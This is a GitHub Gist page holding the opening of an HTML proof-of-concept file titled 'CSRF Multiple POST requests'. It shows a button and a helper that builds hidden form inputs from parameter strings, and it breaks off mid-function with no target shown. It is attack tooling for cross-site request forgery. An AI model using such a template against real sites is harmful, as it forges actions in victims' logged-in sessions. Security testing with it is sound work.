Skip to content

Instantly share code, notes, and snippets.

@MEY-D
MEY-D / csrf_multiple_post.html
Last active July 6, 2025 23:10
CSRF Multiple POST requests
<!DOCTYPE html>
<html>
<body>
<button onclick="run()">Click</button>
<script>
function addInput(form, paramString) {
paramString.split("&").forEach(pair => {
const [name, value] = pair.split("=");
form.appendChild(Object.assign(document.createElement("input"), {